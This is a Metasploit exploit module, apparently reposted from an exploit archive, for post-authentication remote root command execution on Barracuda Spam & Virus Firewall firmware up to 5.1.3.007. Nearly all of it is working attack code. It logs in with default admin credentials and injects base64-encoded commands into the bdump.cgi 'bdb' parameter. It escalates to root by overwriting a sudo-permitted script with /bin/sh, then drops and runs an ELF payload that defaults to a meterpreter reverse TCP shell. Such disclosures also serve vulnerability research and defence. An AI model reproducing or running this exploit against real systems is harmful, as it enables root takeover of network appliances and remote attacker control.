Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit)

# Exploit Title: Barracuda Spam & Virus Firewall Post Auth Remote Root Exploit
# Date: 07/21/16
# Exploit Author: xort [email protected] 
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/landing/pages/spamfirewall/
# Version: Spam and Virus Firewall <= 5.1.3.007
# Tested on: Spam & Virus Firewall 5.1.3.007 
# CVE : None.
 
require 'msf/core'
require 'date'
require "base64"
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Barracuda Spam & Virus Firewall (bdump.cgi) Post Auth Root Exploit',
            'Description'    => %q{
                    This module exploits a remote command execution vulnerability in
                the Barracuda Spam & Virus firewall firmware version <= 5.1.3.007 by exploiting a
                vulnerability in the web administration interface.
                    By sending a specially crafted request it's possible to inject system
                 commands while escalating to root do to relaxed sudo configuration on the local 
                machine.
            },  
            'Author'         => [ 'xort' ], # disclosure and exploit module
            'References'     => [ [ 'none', 'none'] ],
            'Platform'       => [ 'linux'],
            'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
            'Targets' => [['Spam Firewall firmware: 5x', {}]],
            'DefaultTarget'  => 0 ))
 
            register_options(
                [
                    OptString.new('PASSWORD', [ false, 'Password', "admin" ]),  
                        OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]), 
                    OptString.new('CMD', [ false, 'Command to execute', "" ]),  
                    Opt::RPORT(8000),
                ], self.class)
    end
 
    def do_login(username, password_clear, et)
        vprint_status( "Logging into machine with credentials...\n" )
         
            # vars
        timeout = 1550;
        enc_key = Rex::Text.rand_text_hex(32)
         
        # send request  
            res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
              'vars_post' =>
                {
                  'password_clear' => password_clear,
                  'real_user' => "",
                  'login_state' => "out",
                  'enc_key' => enc_key,
                  'et' => et,
                  'locale' => "en_US",
                  'user' => username,
                  'password' => Digest::MD5.hexdigest(username+enc_key),
                  'enctype' => "MD5",
                  'password_entry' => "",
                }
                }, timeout)
 
            # get rid of first yank 
            password = res.body.split('\n').grep(/(.*)id=\"password\" value=\"(.*)\"/){$2}[0] #change to match below for more exact result
        et = res.body.split('\n').grep(/(.*)id=\"et\" value=\"([^\"]+)\"/){$2}[0]
 
        return password, et
    end
 
    def run_command(username, password, et, cmd)
 
                # file to replace
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/mysql_add_cluster_user.sh"
 
        sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
        sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
 
        vprint_status( "Running Command...\n" )
 
                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
 
                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile
 
                # base64 - encode with base64 so we can send special chars and multiple lines
        cmd = Base64.strict_encode64(cmd) 
 
                # Create injection string. 
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile
 
                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
     
        vprint_status( "sending..." )
            res = send_request_cgi({
               'method' => 'GET',
               'uri'    => "/cgi-mod/bdump.cgi",
           'headers' => 
            {
                'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
                'Accept-Language' => "en-US,en;q=0.5"
            },
            'vars_get' => {
                    'password' => password, 
                    'et' => et,
                    'user' => username,
                    'role' => 'admin',
            '_dc' => '',
                    'bdb' => '`' + injection_string + '`',
                    'locale' => 'en_US'
                }
            })  
    end
 
    def exploit
 
        # params
        timeout = 1550;
 
                real_user = "";
        et = Time.now.to_i  
        user = datastore['USERNAME']
        password = datastore['PASSWORD']
 
        # do login and get password hash
        password_hash, et = do_login(user, password, et)
        vprint_status("got password hash: #{password_hash}\n")
        sleep(2)
     
        # clean up hanging prior request    
        run_command(user, password_hash, et, ("ps -df|grep bdump|awk '{print $2}' | xargs kill -9"))
        sleep(5)
 
                #if no 'CMD' string - add code for root shell
        if not datastore['CMD'].nil? and not datastore['CMD'].empty?
 
            cmd = datastore['CMD']  
             
            # Encode cmd payload    
            encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') 
 
            # kill stale calls to bdump from previous exploit calls for re-use
            run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
        else   
            # Encode payload to ELF file for deployment 
            elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') 
 
            # kill stale calls to bdump from previous exploit calls for re-use
            run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
         
            handler
        end
    end
end

#  0day.today [2018-04-04]  #